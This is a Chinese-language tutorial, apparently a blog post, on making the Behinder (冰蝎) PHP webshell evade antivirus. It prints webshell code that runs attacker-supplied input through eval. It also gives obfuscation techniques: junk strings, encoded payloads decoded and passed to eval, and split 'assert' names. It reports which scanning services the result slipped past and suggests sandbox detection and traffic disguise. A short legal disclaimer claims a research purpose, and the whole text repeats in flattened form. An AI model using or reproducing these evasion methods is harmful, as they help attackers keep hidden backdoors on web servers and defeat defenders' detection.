冰蝎php马免杀思路
字数 1193 2025-08-19 12:42:02

冰蝎PHP木马静态免杀技术详解

一、冰蝎PHP木马原理解析

冰蝎是一款流行的Webshell管理工具,其PHP木马主要特点如下:

  1. 基本结构
<?php 
@error_reporting(0); 
session_start();
$key="e45e329feb5d925b"; // 32位md5值的前16位
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
  1. 解密机制
  • 优先使用OpenSSL的AES128解密
  • 无OpenSSL时使用base64解码+XOR异或运算
  1. 执行机制
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);

二、静态免杀核心思路

1. 字符串混淆技术

实现方法

  • 在代码中插入大量无关字符串和垃圾字符
  • 这些内容放在PHP执行代码之外,不影响实际功能
  • 目的:干扰杀毒软件的静态特征检测

示例

/* 大量无关字符串开始 */
$dummy1 = "This is just some random text...";
$dummy2 = "Webshell detection is hard for AV...";
/* 大量无关字符串结束 */

2. 编码转换技术

UTF-8编码转换

  • 将主体代码转换为UTF-8编码形式
  • 运行时再进行解码执行
  • 优点:杀软对base64敏感但对UTF-8较友好

实现示例

$encoded = "编码后的PHP代码";
$decoded = mb_convert_encoding($encoded, 'UTF-8', 'HTML-ENTITIES');
eval($decoded);

3. 函数名混淆技术

字符串拼接

  • 将关键函数名如evalassert拆分为多个部分
  • 运行时再拼接执行

PHP 7.1以下版本示例

$func = "a"."s"."s"."e"."r"."t";
$func($some_code);

注意事项

  • 此方法仅适用于PHP 7.1以下版本
  • PHP 7.1+中assert变为语言构造器,不再支持这种调用方式

4. 冗余代码注入

实现方法

  • 添加大量不影响主逻辑的冗余函数和计算
  • 如无意义的数学运算、数组操作等

示例

// 冗余计算开始
$tmp = 0;
for($i=0;$i<100;$i++) {
    $tmp += $i * rand(1,10);
}
// 冗余计算结束

三、实战免杀方案

1. 基础免杀步骤

  1. 保留原始冰蝎PHP木马的核心功能
  2. 添加大量无关字符串和注释
  3. 对关键函数名进行拆分拼接
  4. 注入冗余计算代码
  5. 对部分代码进行UTF-8编码转换

2. 查杀平台测试结果

查杀平台 免杀效果
VirusTotal 全过
360沙箱云 未检测出
微步云沙箱 险胜
大圣云沙箱 被检测到
阿里云沙箱 被检测到(eval特征)
安恒云沙箱 被检测到

3. 局限性分析

  1. PHP版本限制:部分技术(如assert拼接)仅适用于PHP 7.1以下
  2. eval特征:高级沙箱仍能检测eval执行动态代码的特征
  3. 动态检测:仅静态免杀无法对抗动态行为分析

四、进阶建议

  1. 深度二开:修改冰蝎管理端,改变加密方式和通信特征
  2. 流量混淆:对通信流量进行额外加密和伪装
  3. 特征隐藏:修改eval等敏感函数的调用方式
  4. 环境检测:添加环境判断,在沙箱中表现正常行为

五、法律与道德声明

  1. 本文仅用于技术研究和防御目的
  2. 禁止在未授权环境中测试或使用这些技术
  3. 请严格遵守《中华人民共和国网络安全法》
  4. 所有测试应在自己搭建的合法环境中进行

六、总结

冰蝎PHP木马的静态免杀主要通过混淆、编码和冗余代码实现,核心是干扰杀毒软件的静态特征检测。虽然这些方法能绕过部分查杀平台,但对抗高级沙箱仍需结合动态免杀技术。实际应用中应考虑综合防御策略,而非依赖单一技术。

冰蝎PHP木马静态免杀技术详解 一、冰蝎PHP木马原理解析 冰蝎是一款流行的Webshell管理工具,其PHP木马主要特点如下: 基本结构 : 解密机制 : 优先使用OpenSSL的AES128解密 无OpenSSL时使用base64解码+XOR异或运算 执行机制 : 二、静态免杀核心思路 1. 字符串混淆技术 实现方法 : 在代码中插入大量无关字符串和垃圾字符 这些内容放在PHP执行代码之外,不影响实际功能 目的:干扰杀毒软件的静态特征检测 示例 : 2. 编码转换技术 UTF-8编码转换 : 将主体代码转换为UTF-8编码形式 运行时再进行解码执行 优点:杀软对base64敏感但对UTF-8较友好 实现示例 : 3. 函数名混淆技术 字符串拼接 : 将关键函数名如 eval 、 assert 拆分为多个部分 运行时再拼接执行 PHP 7.1以下版本示例 : 注意事项 : 此方法仅适用于PHP 7.1以下版本 PHP 7.1+中assert变为语言构造器,不再支持这种调用方式 4. 冗余代码注入 实现方法 : 添加大量不影响主逻辑的冗余函数和计算 如无意义的数学运算、数组操作等 示例 : 三、实战免杀方案 1. 基础免杀步骤 保留原始冰蝎PHP木马的核心功能 添加大量无关字符串和注释 对关键函数名进行拆分拼接 注入冗余计算代码 对部分代码进行UTF-8编码转换 2. 查杀平台测试结果 | 查杀平台 | 免杀效果 | |----------------|----------| | VirusTotal | 全过 | | 360沙箱云 | 未检测出 | | 微步云沙箱 | 险胜 | | 大圣云沙箱 | 被检测到 | | 阿里云沙箱 | 被检测到(eval特征) | | 安恒云沙箱 | 被检测到 | 3. 局限性分析 PHP版本限制 :部分技术(如assert拼接)仅适用于PHP 7.1以下 eval特征 :高级沙箱仍能检测eval执行动态代码的特征 动态检测 :仅静态免杀无法对抗动态行为分析 四、进阶建议 深度二开 :修改冰蝎管理端,改变加密方式和通信特征 流量混淆 :对通信流量进行额外加密和伪装 特征隐藏 :修改eval等敏感函数的调用方式 环境检测 :添加环境判断,在沙箱中表现正常行为 五、法律与道德声明 本文仅用于技术研究和防御目的 禁止在未授权环境中测试或使用这些技术 请严格遵守《中华人民共和国网络安全法》 所有测试应在自己搭建的合法环境中进行 六、总结 冰蝎PHP木马的静态免杀主要通过混淆、编码和冗余代码实现,核心是干扰杀毒软件的静态特征检测。虽然这些方法能绕过部分查杀平台,但对抗高级沙箱仍需结合动态免杀技术。实际应用中应考虑综合防御策略,而非依赖单一技术。